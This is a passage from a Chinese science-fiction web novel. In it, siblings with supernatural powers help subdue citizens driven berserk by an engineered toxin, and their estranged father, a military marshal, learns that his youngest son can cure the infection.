小女孩妈妈后怕不已,眼泪夺眶而出。 这时,主题乐园的安保员才带着数台机器人,急匆匆地赶到现场,开始维持秩序,疏散群众。 江昭晏见状,暗自松了口气。 她将被沙毯牢牢裹住的小贩送到安保员面前,言简意赅:“这就是刚刚失控的人,我已经暂时将他制伏了,请小心处理。” 说完,她就一把抱起还在回味的又又,和江从谦等人交换了一个眼神,迅速离开。 安保员早就通过监控,知道了这怪物有多厉害。 几人带着机器人,小心翼翼地试图转移这团东西时。 那看似坚固的沙毯,竟然毫无征兆地又变回了细沙,哗啦啦地流了一地。 安保员们吓了一跳,但很快他们就发现,那堆沙子里露出来的,并不是监控里看到的,狰狞可怖的怪物,而是一个满脸茫然,被沙子扬起的尘土呛得一直咳嗽的小贩。 “怎……怎么回事?!” 几名安保员惊疑不定,正想找之前那名异能者问个清楚时,却已经找不到她的人影了。 此时,江昭晏一行人早已远离了那片区域。 他们可以救人,但并不想因此暴|露又又的能力。 在又又和江昭晏忙着救人的时候,一旁的的江从谦和江见微也没闲着。 两人默契十足,同时催动异能。 江从谦迅速扫视四周,目光掠过所有可能记录下刚才事件的所有摄像头,比如公共监控、游客的个人记录仪,甚至连半空中的广告无人机也没有放过。 他的大脑飞速运转,计算着最不留痕迹的数据处理方案。 而江见微则迅速进入星网,按照江从谦的方案,使用异能将这些拍到的影像,或删除,或用正常画面覆盖,很快便处理得干干净净。 桑拓显然还没有从刚刚那一幕中缓过来,脸色有些发白,惊魂未定地看向江从谦等人:“现、现在要怎么办?报警吗?” 江从谦目光微凝。 刚刚他们一路走来,他就已经注意到了,爆发骚乱的并不止是那一片区域。 这时,一旁的江见微缓缓睁开眼,脸色因为异能使用过度而微微发白,沉声道:“不用猜测了,我刚刚在星网上看到了,蒂奢星区还有其他地方也发生了这样的情况,而且基本都是在人流密集的地方,造成了很大的骚乱……” 他的话没有说完,但江从谦却已经明白过来:“这看起来不像是意外。” 他说着,和江昭晏对视一眼。 两人原本还心存一丝侥幸,觉得是不是有可能是毒素意外泄露。 但如今,这丝侥幸彻底没了。 如果说,当时在第七军区的时候,幕后黑手故意用这种东西来对付索伦军团长。 那投放在蒂奢星区又有什么用? 这只是一个以艺术闻名的星区,居住在这里的也大多都是普通平民,根据之前他们的估算,这种毒素的制取不可能便宜。 用这么昂贵的毒素来对付平民? 又或者,是为了针对某位来观看艺术展览的大人物吗? 那也没必要选择在人群密集的公共场所,无差别引发混乱啊,这代价和风险也未免太高了些。 “哦对了,还有一件事。”江昭晏眉头紧锁,回忆起刚刚交手的细节,“我记得冯列他们之前中毒以后,只是力气大一些,但不能使用异能,可是这个人却能使用异能,而且他的异能等级并不低……” “要么,他不是普通小贩,要么,就是这种毒素不仅能让他使用异能,甚至还能增强他的异能!” 江从谦心下一沉。 他想到了什么,看向又又,语气格外严肃:“又又,你确定,那个小贩身上和冯列他们是同一种毒素吗?” 又又很少见大哥这样严肃,他被大哥的态度感染,也板起了小脸,仔细想了想,然后才摇摇头。 “很像,但是不一样,这个……好像更厉害一点!” 江从谦神色凝重。 一个最坏的猜测浮上心头,让他的指尖都有些发凉。 听又又的意思,这种毒素似乎是进化,又或者说,是被人为地改良了。 而且,这种毒素被投放到这里,看似毫无目的,却让人愈发不安。 江从谦的脑中迅速划过了许多种可能。 难道…… 小幼崽似乎也感觉到了,哥哥姐姐身上沉重的气氛。 他仰起头,结果因为这个动作把头套弄歪了,直接遮住了自己的一只眼睛。 原本昂首挺胸的小幼崽,立刻手忙脚乱地扶正头套,把眼睛重新露出来,才说道:“哥哥,姐姐,你们别怕,又又保护你们!” 小奶音瞬间驱散了现场的焦躁。 江昭晏被他的样子逗得心头一软,刚才紧绷的神经也放松了些,好笑地替他重新把头套戴好。 “你呀,照顾好自己就行了,哥哥姐姐能保护自己。” 又又嘟起嘴巴,觉得自己被小看了。 明明刚刚救了那个小女孩之后,她还趴在她妈妈肩膀上,偷偷跟他说谢谢呢! 他可是很厉害的! 江从谦也笑起来,但小幼崽的头发被头套遮住了,他只能遗憾地揉了揉头套上那片蛋壳装饰,然后才说道:“这里动静不小,军方应该很快就会得到消息介入了。” 江见微皱眉:“你的意思是?” “事情或许没有我们想的那么糟糕。”江从谦已经恢复了往日的稳重,“这种毒素成本高昂,被感染的人数一定不可能太多,但却会很分散,我们留在这里反而容易卷入不必要的麻烦,先找个相对安全的地方落脚,再设法与军方取得联系,才是上策。” 小幼崽却只是茫然地看着他们:“那……我们不去救人吗?” “又又乖,先听大哥的。” 虽然江从谦没有明说,但江昭晏却已经从他的表情中隐约猜出了什么,于是主动安抚小幼崽。 又又听见姐姐都主动喊大哥了,也意识到了问题的严重性,于是乖乖点头:“好,我也听大哥的。”- 江砺派出的亲信很快找到了加尔文军团长。 而加尔文听到事情经过之后,素来沉稳的脸上也难掩震惊。 他霍然起身,甚至来不及更换常服,便随着来人疾步赶往元帅所在的停泊港。 等他赶到的时候,江砺已经登上了一艘小型穿梭舰。 “你要亲自去?!” 加尔文快步上前,赶在舱门关闭前,拦住了江砺,语气急促而严肃:“你难道没想过,这次袭击,很有可能就是冲着你来的吗?” 江砺的神情没有半分变化:“那我更应该过去。” 加尔文:“你……” 江砺那双灰眸里淡定沉静,显然是早已想好了一切:“如果是冲着我来,那更好,就免得再伤害无辜的人了,到时候也正好可以一网打尽。” 加尔文一时语塞:“你真是……” 他很了解江砺的性格,知道他一旦做下了决定,就没人能劝得动他。 于是,他干脆也踏上了穿梭舰,并反手关上了舱门。 江砺神情错愕,皱眉问道:“你又跟着来做什么?” 加尔文冷笑一声:“那种毒素当初差点害死索伦,还把我的第七军团搅得天翻地覆,我当然得亲自去看看,到底是哪只老鼠在捣鬼,以后也好慢慢算账。” 江砺一听,就知道他在胡说八道。 可是时间紧急,他也没工夫跟加尔文争执,只能深深地看了他一眼,终究默许他一同上来。 小型穿梭艇的速度极快,没多久就已经抵达了蒂奢星区。 江砺透过舷窗俯瞰。 下方那原本高雅且充满艺术气息的的地方,如今看着却是一片惨烈。 几处标志性的建筑上浓烟滚滚,街道上一片狼藉,隐约可见奔逃的人群和闪烁的警灯。 原本宁静祥和的艺术天堂,此刻却像是人间炼狱一般。 江砺刚走下穿梭舰,完全没有休息,便立刻着手控制局面。 原本因为突发袭击而陷入混乱的兴趣,在军队的强力介入下被迅速接管。 原本惊慌失措的民众,在得知元帅亲临后,如同找到了主心骨,恐慌的情绪迅速被安抚下来。 现场的治安渐渐恢复,人们开始有序地听从军队指引,前往指定地点接受排查。 YHC-03毒素未发作时的隐蔽性极强,军部这边根本没有有效检测的手段。 倒是第七军团当初得益于又又提前的发现,经过一系列的研究,总结出了一套检测方法。 而加尔文也毫不藏私,没有提任何条件,就让人把这个检测方法教给了江砺派来的人。 有了有效的检测手段,现场混乱无序的压力得以大幅缓解。 而且,也多亏了这套检测办法,让他们及时发现了一个刚刚毒发的感染者,并且成功将其捕获。 只是抓捕过程异常艰难,不少精锐士兵都在这个过程中负伤。 哪怕最后使用了超剂量的麻醉剂,也只是让他的脚步缓了缓。 最终费了不少功夫,才用特制的高强度束缚器把他禁锢住。 一名近卫向江砺汇报道:“元帅,根据数据库比对,这人是蒂奢星区的注册居民,是一名力量异能者,但他原本的异能等级并不高,毒发后的异能水平至少要高一到两个等级……” 江砺面色冷峻。 他透过观察窗看向室内。 尽管被多重束缚,这人依旧在剧烈挣扎,发出非人般的低吼。 瘦弱的身躯爆发出令人心惊的力量,将特制的束缚器拉扯得摇摇欲坠。 “有办法治疗吗?”江砺转向身边的加尔文,沉声问道。 加尔文的目光也注视着隔离室内的身影,闻言却摇摇头:“我们只能暂时压制,无法治愈他。” 江砺的眉头皱得更紧:“是因为这次的毒素被加强了,更加棘手?” “不完全是毒素的原因……”加尔文叹了口气,“我实话跟你说,当初在第七军区,我们的士兵能够治愈,纯粹是意外。” 并不是他有意隐瞒。 只是现在人多嘴杂,不适合说出真相。 况且,他深知江家几个孩子和父亲之间微妙复杂的态度,在没有得到当事人许可的情况下,他不能擅作主张。 总不能又又救了他们,他反倒恩将仇报。 就在这时,现场的观察数据却传来一个让人感到意外的发现。 这名感染者似乎对元帅并没有特殊反应。 原本,所有人都担心,幕后黑手投放这种毒素,就是冲着元帅来的。 如今总算是放下了心。 然而,和众人脸上轻松的表情不同,加尔文眉头反倒越蹙越紧。 如果不是冲着江砺元帅来的…… 难道…… 加尔文的脑海中忽然闪过一些被他忽略的细节,一股寒意瞬间爬上脊背。 他一把抓住身旁的近卫莱兹,厉声道:“莱兹,你立刻去联系昭晏或者从谦,马上确认他们和又又的位置和状况!” 他的声音压得极低,几乎是从牙缝里挤出来的,但站在他旁边的江砺却还是听见了。 江砺身体猛然一震,倏地转过头:“你刚才说什么?!” 他那双灰眸紧紧地锁住加尔文,不错过他一点表情。 虽然很荒谬! 但加尔文的意思,难道是说,这幕后黑手是冲着他的孩子们去的?! 否则,他为什么会这么急着去确认他们的安危! 加尔文不意外江砺的敏锐。 他犹豫了片刻,权衡是否要告诉江砺。 可还没等他想好要怎么说的时候,一声急促的声音,伴随着仓促的脚步声,骤然打断了他的思绪。 “报告元帅!!第十五街区发现一名被感染的高阶异能者!!” “什么?!” 在场所有人的心,都随着这个消息如坠冰窟。 一名低等级的力量异能者被感染后,就已经让他们付出多人受伤的代价才勉强制伏。 而如今,高阶异能者被感染,可想而知会造成多么恐怖的破坏力。 果然,报信的士兵声音都在颤抖:“据……据传回的消息,这名感染者破坏力极强,整个十五街区几乎是一片废墟,平民伤亡更是无法预估……” 江砺面容骤然冰冷,瞬间压下了所有私心,他甚至没有再追问加尔文刚才那未尽的话语。 危难当前。 元帅的职责,此刻高于一切。 江砺没有丝毫犹豫,霍然转身。 “调集特勤队,医疗队和工程救援队同步跟进!我亲自去第十五街区现场指挥!”- 十五街区。 悬浮车缓缓降低高度,窗外的景象却让车内的空气骤然凝固。 江昭晏看着眼前的断壁残垣,顿了顿,才缓缓看向身旁的桑拓:“这就是你说的……近路?” 桑拓直接傻眼了:“怎、怎么会这样?!” 他早上出门的时候,这里都还好好的啊! 他们从主题乐园出来之后,便听说军方已经全面接管蒂奢星区,实行严格的交通管制,根本无法回到九壤号上。 于是,江从谦提议,先去军方临时指挥部。 桑拓自告奋勇,说要带他们抄一条近道,结果…… 更令人心头发凉的是,这地方显示出的破坏力十分惊人。 可想而知,这里的感染者异能等级绝对不低。 又又被大哥抱在怀里,小手攀着车窗。 他并没有被外面的破败景象吓到,而是微微皱起了眉头,一双清澈的绿眸望向废墟深处。 江从谦立刻就注意到了他的目光。 他知道又又能察觉到那些感染者,或许会有什么发现。 于是,他压低声音问道:“又又,你感觉什么了吗?” 又又指尖紧紧地捏着车窗边沿,努力地耸动鼻子,仔细嗅闻。 但是空气中混杂了太多味道,让他难以分辨。 他蔫蔫地摇摇头:“没有……” 江昭晏收回看向废墟的目光,转向江从谦:“大哥,这里不对劲,我们接下来怎么办?” 江从谦目光扫过四周,沉声道:“这里危险性太高,先调头,绕过这里再找路。” “好。”江昭晏应下来,正准备操控悬浮车离开。 又又却忽然惊叫:“姐姐小心!左边!!” 几乎是又又声音响起的瞬间。 江昭晏的战斗直觉,让她的身体先于脑子做出了反应,她操纵着悬浮车,以一个近乎侧翻的惊险角度猛然转向。 与此同时,一块异常锋利的金属广告牌擦过他们的车身,发出令人牙酸的摩擦声。 广告牌重重地砸在他们身后的地面,深深地嵌入地面。 所有人都惊魂未定。 要是又又没有及时提醒,要是江昭晏反应再慢一点。 悬浮车要是被这块广告牌砸中,后果简直不堪设想! 但很快,更糟糕的事情发生了。 江昭晏猛然发现,悬浮车的车体竟然不受控制地开始扭曲变形,车身的金属发出不堪重负的呻|吟。 “有异能者在干扰金属结构!” 江从谦立刻反应过来,厉声喝道,“昭晏,稳固车身,我们立刻下车!” 江昭晏毫不犹豫地发动异能,一道莹白的光晕浮现在悬浮车表面,勉强护住了车子。 江从谦则趁机打开了车门,抱着又又跳了下来。 桑拓反应稍慢,也跟着连滚带爬地跳了下来。 江昭晏则探身至后座,一把将行动不便的江见微从轮椅上拽起来,扛在身上也跳了下去。 下一秒。 那辆刚刚还载着他们的悬浮车,仿佛被一双巨手用力揉捏,不过几秒,就被捏成了一团废铁疙瘩,轰的一声砸在地上,溅起一片尘土。 众人顿时吓出一身冷汗。 然而,直到这时,他们都没有发现这名被感染的异能者在哪里,也不知道他的能力是什么。 敌人就像是一个幽灵,潜伏在这片废墟之中,随时能对他们发动袭击。 江从谦催动异能,很快分析出来:“应该是金属操控类异能者,但为什么找不到人……” 江见微额角渗出细密的汗珠,竭力调动异能,利用附近还没有被毁坏的监控探头寻找。 只是因为军区封锁,星网被封,他的异能也被削弱了大半。 就在这时,被江从谦紧紧护在怀里的又又,忽然探出头,小手指向废墟中的一个角落,声音清脆而肯定:“我看到了,他在那里!!” 江昭晏毫不犹豫地冲上前,疾冲的同时,手掌已猛地拍在身旁半截混凝土墙体上。 瞬间,墙体在她的掌心化作了一根坚硬的石棍,狠狠地朝着又又指着的方向抡过去。 “砰!” 伴随着一声巨响。 石棍结结实实地砸在了一尊外观扭曲的金属雕像上。 雕像瞬间被砸得凹陷,石棍也跟着碎裂。 而在被砸坏的雕像上,竟竟缓缓浮现出了一道人影。 一个脸上爬满青黑色血管的男人,正用那双赤红的眸子死死地盯着江昭晏。 而他的身体表面,则覆盖着一层流动的液态金属。 这层金属如同活着的皮肤,不仅给他提供了极强的防御,还让他能完美融入各种金属环境,达到光学隐身的效果。 “吼——!” 感染者彻底被激怒,发出非人的咆哮。 他身下的金属雕像瞬间化作了一柄巨大的钝器,狠狠地朝江昭晏砸下。 江昭晏反应很快,就地翻滚躲了过去。 可当她起身后,那个感染者竟然又消失了。 好在,又又的预警声也及时响起:“姐姐!他在左边,那个车架子后面!!” 在又又的眼中,那层伪装的金属皮肤毫无意义,这人身上的病气简直就是黑夜中的灯塔,根本无所遁形。 “明白!” 有了又又的指路,江昭晏毫不畏惧,随手又抄起一根石棍就冲了上去! “姐姐!他在右边!” “姐姐!他在你后面那个垃圾桶旁边!” 在小幼崽的小奶音中,江昭晏一棒一个,打得感染者抱头鼠窜。 …… 于是,等江砺等人急匆匆赶来时,看到的就正好是这一幕。 所有人:“???” 等等! 不是说被感染的是一名高等级异能者吗?! 第53章 在又又的帮助下,江昭晏简直有如神助。 趁着感染者被打得晕头转向的时候,她猛然按向地面。 地面上遍布砖石,在她的异能之下,瞬间拔地而起,交织成一个坚固的岩石牢笼,将那名感染者死死地困在中央,完全阻隔了他碰到金属的机会。 看着感染者拼命嘶吼挣扎,却被压得动弹不得的。 江昭晏长长地舒了口气。 这个感染者实在太难对付了。 不仅仅是高阶异能带来的破坏力,更重要的是,他那个与金属融合达到隐身效果的能力,简直让人防不胜防。 要不是又又能看到他,她恐怕连对方衣角都摸不到,就会在无声无息中,被利刃撕碎。 江昭晏紧绷的神经稍缓,抬手擦了擦额角的细汗。 可就在这时,异变突生! 感染者的一条手臂忽然剧烈拉伸,变成了一柄利刃,竟顺着岩石的缝隙猛然刺出,直指江昭晏的心口。 “姐姐小心!” “小心!” 又又几人的惊呼几乎与攻击同时发出。 但是这距离实在太近了! 江昭晏本就因为之前的禁锢而不得不靠近感染者,此时几乎是避无可避。 江昭晏瞳孔骤缩。 她几来得及在身前仓促凝聚成一道莹白色的光晕,勉强挡住了攻击。 “嗞——” 金属与能量剧烈摩擦,发出令人牙酸的声音。 江昭晏脸色一白。 刚刚的战斗中,她的异能消耗太过,已经快要顶不住了。 她甚至能感觉到金属利刃那尖锐的冷意。 又又焦急万分,恨不得立刻冲过去救姐姐。 而就在这时,他感觉到身旁掠过一阵迅疾而温柔的风。 下一秒。 一道高大的身影出现在了江昭晏身旁。 他宽厚的手掌毫不犹豫地握住了那条金属手臂。 几乎是瞬间,被他握住的地方,原本坚硬的金属经如同风化的沙子一般,迅速崩解,化为无数细碎的金属粉尘,洒落一地。 这正是江砺元帅的异能——元素重构。 见到妹妹脱离危险,江从谦紧绷的神经才稍稍放松。 只是看到救人者,他的眉头又再次蹙起。 可没等他说什么。 又又却已经从他的怀里挣脱,朝着那名感染者跑过去。 在又又的认知里,虽然姐姐现在被陌生伯伯救下来,但还是有危险的,只有把感染者身上的病气吃掉,大家才能安全。 江砺在确认女儿安全之后,便注意到了江从谦怀里那小小的一只。 他的目光顿时凝住了。 这就是他的幼子?! 小幼崽的长相和妈妈很像,同样的栗色头发,同样清澈干净的绿色双眸。 这样的长相,在妻子身上是温柔精美,但在小儿子身上,却多了几分机灵古怪。 江砺的心脏顿时一软。 尽管已经在视频里看到过很多回了,但江砺此刻还是怔在了原地,不知道该和他说什么好。 然而下一秒。 他就看到小幼崽竟然直直朝他们跑过来。 江砺的瞳孔猛然收缩:“危险!” 几乎在脱口而出的同时,他的异能发动。 周遭的气流在他的掌心重构,化作一道柔软的风墙,轻轻地挡在了小幼崽前方。 又又只觉得自己撞在了一团软绵绵的云朵里,不管怎么努力,也跑不出去。 小幼崽急得满脸通红,朝江昭晏伸出小手喊道:“姐姐,救我!” 江昭晏立刻瞪了眼父亲,随后毫不犹豫地冲上前去,把小幼崽解救出来,抱着他重新回到困住感染者的岩石牢笼旁边。 江砺一怔。 他看见幼子第一时间向姐姐求救,江昭晏不仅没有责怪他任性,反而毫不犹豫地把他接过来。 而且,不止是江昭晏,甚至他的长子,向来稳重的江从谦也没有阻止。 这并不是对小幼崽的无限制宠溺,相反,他们的行动中,甚至有种对小幼崽盲目的信任。 这几个孩子之间,有着他这个父亲看不懂的默契。 这令他一时之间甚至有点茫然。 但下一秒,这茫然便被惊骇取代。 小幼崽竟然将手探入了岩石牢笼的缝隙,伸向里面那个刚刚还狂暴无比的感染者。 “住手!” 江砺吓得心脏骤停,几乎要不顾一切发动异能,将孩子救回来。 但紧接着,他就看到,又又在接触到那名感染者之后,感染者身上的那些狰狞的青黑色血管,如潮水般骤然退去。 不过短短十几秒,那个令军方都头疼不已的怪物,竟重新恢复了正常。 江砺:“!!!” 他猛然抬起头,看向旁边的女儿。 江昭晏神情淡然,仿佛又又做的,是很普通的日常罢了。 她早就知道! 不! 不只是她! 从谦、见微,甚至第七军团! 电光火石间,之前零碎的线索在江砺脑中赫然贯通。 突然苏醒的加尔文,被发现并控制的YHC-03毒素。 难怪,加尔文会语焉不详地说,他们的士兵能治愈,纯属意外。 难怪,加尔文的人只能缓解毒素,并不能治愈。 原来,至于这种毒素的关键,根本不是某种技术或者药物。 而是又又本人! 江砺将一切都想明白了。 但巨大的震惊过后,是翻涌而上的复杂情绪。 就在这时,他的下属与医疗队才气喘吁吁地赶到现场。 “元帅!您没事吧?” 之前他们隔得远,只看到元帅以异能破开路径,用最快的速度赶到江昭晏身边,徒手握住那柄金属利刃,化解了危机。 至于后面发生的事情,则被元帅和江昭晏的身体挡住,他们并不知道发生了什么。 江砺顿时收敛了外露的情绪,恢复了往日的模样:“没事。” 特勤队员迅速上前,并准备好了特制的束缚器。 他们早已知道这名感染者的可怕,行为格外小心。 然而,岩石牢笼被打开后,他们却发现,里面并不是可怕的感染者,而只是一个昏迷不醒的普通男人。 众人惊疑不定:“元帅,这……” 江砺却没有解释,只是沉声下令道:“先把人带回去检查。” “是。” 特勤队没有再多问,带着昏迷者迅速离开。 此时,江砺的情绪也渐渐平复下来,看向自己的几个儿女。 这时,江从谦走上前,不着痕迹地将弟弟妹妹都护在身后,神情平静地与江砺对视:“父亲。” 江砺察觉到他目光中的审视与疏离。 他的目光又落向他身后的其他儿女。 江见微坐在地上,小幼崽蹲在他旁边,不知道嘀嘀咕咕说着什么。 江昭晏则在小幼崽身边,两人似乎在一唱一和的,直把江见微说得脑袋都抬不起来。 三人都没有抬头看他一眼。 江砺眸色微黯,却还是道:“这里不安全,先回临时指挥所。”- 临时指挥所设在了赫拉画廊。 只是,此刻画廊中那些价值连城的画都毁的差不多了。 取而代之的,是全副武装的军人,神色凝重,步履匆匆。 直到江砺的出现。 原本嘈杂的现场为之一静。 不少人都停下了手中的工作,目光聚焦在他身上,紧接着,响起了一片整齐而充满敬意的“元帅!”。 即便面临这样的危机,但所有人都相信,只要有元帅在,一切问题很快便能得到解决。 又又原本趴在姐姐肩膀上昏昏欲睡,却被这声音吓了一跳。 他揉了揉眼睛,发现所有人都在看着前方的高大身影。 小幼崽的绿眸懵懂又惊讶,悄悄对姐姐说道:“姐姐,这个伯伯好厉害哦!” 江昭晏:“……噗。” 又又的声音并不大,但周围这些异能者,哪个不是耳聪目明的。 原本还在对部下们颔首的江砺身体一僵,却是暂时忍住了回头向小幼崽自证身份的冲动,加快了步伐。 进入临时指挥室后,江砺又让其他人都离开。 整间房子里,顿时只剩下他们五人。 但空气也随之凝固下来。 江砺转过身,目光依次扫过几个孩子。 “现在,这里没有外人。”他顿了顿,视线落在脸色苍白的江见微身上,又掠过好奇睁大眼睛的又又。 “可以告诉我,到底发生了什么吗?关于……又又的能力,还有,见微的身体?” 在回来的路上,他就发现了。 江见微的身体异常虚弱,双腿几乎不能行走,完全倚靠兄长搀扶。 然而,回应他的却是一片沉默。 又又眨巴着圆溜溜的大眼睛,只是看着哥哥姐姐。 而另一个当事人江见微,则是事不关己地靠在椅子上,竟然开始闭目养神。 江砺:“……” 他已经很多年没有遇到过这么尴尬的情况了。 但对面的这几个是他的孩子,又不是他手下的兵,他无法命令他们。 更别说,他对他们还有着愧疚。 他完全不知道应该怎么和他们交流。 最终,他的目光落向了又又。 “又又……”他努力用最温和的声音,却还是在念出这个名字的瞬间,喉头哽咽。 他喉结滚动,将酸涩的情绪按捺下去,继续问道,“你能告诉爸爸,这到底是怎么回事吗?” 爸爸? 这个称呼让又又愣了一下。 他歪着小脑袋,仔细地打量着眼前这个身材高大,却鬓边泛白的男人。 唔……这样看,的确跟哥哥给他看的照片很像。 不过,他看起来要苍老多了。 头发白了,皱纹也多了,看起来还很疲惫…… 小幼崽只看了一次照片,记忆并不算深刻。 此刻也无法确认,只能将求助的目光投向哥哥姐姐。 江从谦摸了摸他的头,给了肯定的答案:“这的确是我们的爸爸。” 江砺心情有一瞬的苦涩。 他这个做父亲着实失败,连亲子相认,都需要另一个孩子还证实。 然而,看到小幼崽在得到答案后,恍然的神色。 他心底的苦涩又再次变成期待,他几乎是屏住呼吸,等待着小幼崽的反应。 可是,又又却在犹豫。 在小幼崽的认知里,爸爸是不教哥哥姐姐养生办法的坏人,哥哥姐姐生病、受伤,他也不闻不问,是个坏人! 可是,刚刚有事这个坏人,在危急关头,救下了姐姐…… 又又抿紧了嘴唇,心里很是困惑。 所以,他到底是好人,还是坏人呢? 江砺见又又踟蹰不动,心底微微一痛,下意识朝他走了一步,试图拉进与孩子的距离。 然而,小幼崽却像是被他的动作吓了一跳,脑袋上的呆毛都竖了起来。 不过,出乎所有人意料的是,他并没有躲回哥哥姐姐身后,反倒是向前跨了一步。 江砺心神微松,以为这是又又愿意接纳自己。 谁知小幼崽竟然只是张开手臂,挡在了哥哥姐姐身前。 奶声奶气却又严肃地说道:“你……不要过来,我不许你欺负哥哥姐姐!” 江砺愣住了,伸出的手僵在半空。 其他人也愣住了。 最后还是江昭晏先回过神,打破了这令人窒息的沉默。 她“噗嗤”一声笑出来,一把将小幼崽抱起来,用脸颊用力地蹭着小幼崽软嫩的脸蛋:“呜呜呜,又又知道保护姐姐了!姐姐好感动啊!” 又又:“!!!” 原本努力板着脸的小幼崽瞬间破功,被姐姐蹭得脸颊通红,一头小卷毛也乱糟糟的。 眼看姐姐蹭完还要亲,小幼崽吓得惊慌失措地往哥哥那边跑。 江从谦眼底掠过一丝无奈的笑意,稳稳地接住弟弟,递给了椅子上的江见微,自己则理所当然地成了姐弟俩打闹间的那堵墙。 反倒是江砺,沉默地看着眼前的画面,竟显得像是个外人。 而就在这时,得知消息的加尔文带着几名近卫匆匆赶来。 “又又!” 加尔文看到小幼崽,立刻露出真切又惊喜的笑容,连声音都不自觉地放柔了。 “是加加军团长!还有莱兹……” 小幼崽从大哥身后探出头,顿时眼前一亮。 他熟稔地朝他们挥了挥手,奶声奶气地打招呼。 这自然而然流露出的亲近,让江砺心底的酸涩越发重了。 他深吸一口气,压下心头的失落,转而看向加尔文:“所以,你从一开始就知道?” 他的子女们,宁愿相信加尔文这个无亲无故的外人,也不愿意相信他这个亲生父亲。 加尔文看着他们父子几人僵硬的氛围,有些无奈。 他想了想,如今江砺已经知道了。 再瞒下去没有意义,反倒会让他们父子之间生出隔阂。 无论是出于对又又救命之恩的感激,还是念及与江砺昔日的战友之情,他都有责任在中间缓和几句。 想到这里,他开口道:“当时第七军团情况万分危急,又又也只是为了救人。” “又又他……拥有治愈的异能,我想你应该已经亲眼见识过了。”加尔文斟酌着字词,缓缓说道,“当初昭晏执行任务的时候被反叛军伏击,她被灵基射线严重污染,污染值最高的时候是1628,异能源几乎崩溃……” 他话还没说完,江砺便猛然怔住。 他下意识看向面色平静的江昭晏。 他怎么都没想到,军报上那简单的受伤两个字,背后竟然是这么严重! 而他作为父亲,更是全然不知。 他的喉咙干涩,张了张嘴:“我……” 但剩下的话却说不出来了。 他现在还能和女儿说什么呢,事情都已经过去了。 他选择了公务,选择了所谓的大义。 这么多年,都没有去第七军区见女儿一面, 江昭晏倒是无所谓。 反正她早就习惯了,也已经过了需要父亲关心的年纪。 可是,一旁的小幼崽却在偷偷地看着她。 见她没有说话,原本还躲着她偷袭的小幼崽,悄悄探出脑袋,抓着姐姐的手指,认真地说:“姐姐不难过,又又保护你。” 江昭晏的心都软成了一片。 她握着小幼崽肉乎乎的小手,深吸了一口气,不知道是说给自己,还是说给旁人:“路是我自己选的,后果自然也由我自己承担。” 加尔文看着她倔强的侧脸,又看向沉默不语的江砺。 随后,故意叹了口气:“是啊,我之前都误解你了!” 江昭晏疑惑地看着他。 加尔文感慨道:“昭晏,你可能自己都没有完全意识到,以你的身份,想要远离中央的政治旋涡,单纯去当兵,靠自己的本事在军队里立足,有多难?” “且不说你父亲的政敌,对你是何等的虎视眈眈,时刻想拿你做文章,即便你父亲麾下,也有不少人想将你留在军部……” 他的话语意味深长,并未完全点明,却让江昭晏愣住了。 这些年,她在第七军区,虽然辛苦,却活得极为开心自在。 有亲密的朋友,信任的战友,她凭借自己的血汗与功绩,一步一步,堂堂正正地晋升。 她获得的这一切,她都坚信那是自己应得的,是用努力和实力换来的。 可她却从未想过,她差一点,就连踏上这条路的资格都没有。 江从谦注意到妹妹的神情,豁然看向父亲。 一直以来,他和加尔文军团长一样,都以为妹妹进入第七军区,是父亲棋盘上的一步棋,是他为了大局或是权衡所做的牺牲。 可如今才知道,他们竟然都误会他了。 原来,反而是他为了昭晏能够顺利进入第七军团,在背后默默扫清了障碍,承受了来自各方的压力。 江砺自然知道,加尔文说这番话,是为了缓和他和子女的关系。 可他还是一板一眼地说道:“这本就是昭晏作为联邦公民,应有的权利,我只是做了我职责范围内该做的事。” 他这番官方说辞,听得加尔文简直想翻个白眼。 他真是服了! 江砺这个情商,到底是怎么在军部,在中央星系这种人精子扎堆的地方,活了这么多年的! 江从谦却嗤笑一声。 这才像是父亲会说的话。 虽说,他做的这些事情,并不能抵消他这些年作为父亲的缺位。 但至少,他也不是自己以为的,那个满心冰冷算计的联邦元帅。 而就在此时,一声急促的通报声,打断了室内刚刚缓和的气氛。 “报告元帅!又发现两名高阶异能的感染者!前线请求增援!” 江砺脸上那一丝柔和瞬间退去,重新恢复了属于元帅的冷峻与果断。 他毫不迟疑,立刻就要向外走去。 这时,一只小手轻轻扯住了他的衣角。 他的脚步顿时僵住,几乎有些不可置信地看着腿边的小幼崽。 又又之前一直在安静听他们说话,只是听得半懂不懂的。 不过,他看懂了哥哥姐姐脸上缓和的表情。 所以,这个爸爸应该不是坏人叭…… 那么,他和哥哥姐姐一样,也是又又的家人。 江砺看着小幼崽清澈的绿眸,心中最坚硬的部分仿佛被什么轻轻撞了一下。 他迟疑了一下,用最温和的话对小幼崽说道:“又又乖,爸爸先去处理军务,等忙完再回来跟你玩,好不好?” 没想到,又又却摇摇头,眼眸亮晶晶地看着他:“我……我也可以帮忙!” 他下意识舔了舔嘴唇。 宝宝现在食量大了,还可以吃很多呢! 江砺却怔住了。 他不是没想过请求又又帮忙,小幼崽的能力几乎是这种毒素的克星。 然而,这个念头只在他脑中一闪,便被更沉重的顾虑压下。 又又实在太小了。 他那样稚嫩,怎么能承受这么大的压力,而且,他的异能纵然神奇,但想必也不是无限制使用的,他不能,也不愿意让他陷入这样的危险中。 不管是救援民众,还是平息动乱,这都是他作为元帅的职责,他心甘情愿为此付出。 但他的孩子们,却不必要背负这些本不该属于他们的责任。 他嘴唇微动,拒绝的话已到嘴边。 谁知,小幼崽见他不说话,还急了,举起手道:“我真的可以帮忙!我也想要救人的!” 他至今还记得,那个被他从小贩手下救下的小女孩,趴在妈妈肩膀上,小声对他说谢谢。 那一刻心里涌起的快乐,让小幼崽无法忘记。 他还想要体会这样的感觉,想要帮助更多像那个小女孩一样的人。 这时,江昭晏却站了出来:“我可以陪又又一起去!” 原本躺在椅子上的江见微也睁开了眼睛:“我也能帮忙。” 江从谦推了推眼镜,打断了江砺的拒绝:“不是有两名感染者吗?分开处理效率更高,也更安全,我们可以负责解决一名感染者。” 他不反对又又救人,却还是尽可能地不想暴|露又又的能力。 加尔文自然也意识到了,笑着道:“既然如此,就由我们第七军团的人,给你们保驾护航吧!” 江砺明白,这是为了保护又又。 即便是特勤队,也远不如第七军团的人更放心。 他的心头不禁掠过一丝难以言喻的心酸与愧疚。 只是时间紧迫,容不得他再犹豫或沉溺于个人情绪。 江砺深吸一口气,将翻涌的复杂心绪狠狠压下。 他看向加尔文,又深深看了一眼自己的孩子们,朝他们郑重地颔首。 “好,那就……拜托各位了!” 第54章 有了之前对付那名高阶异能感染者的经验,这一次众人配合得更加谨慎。 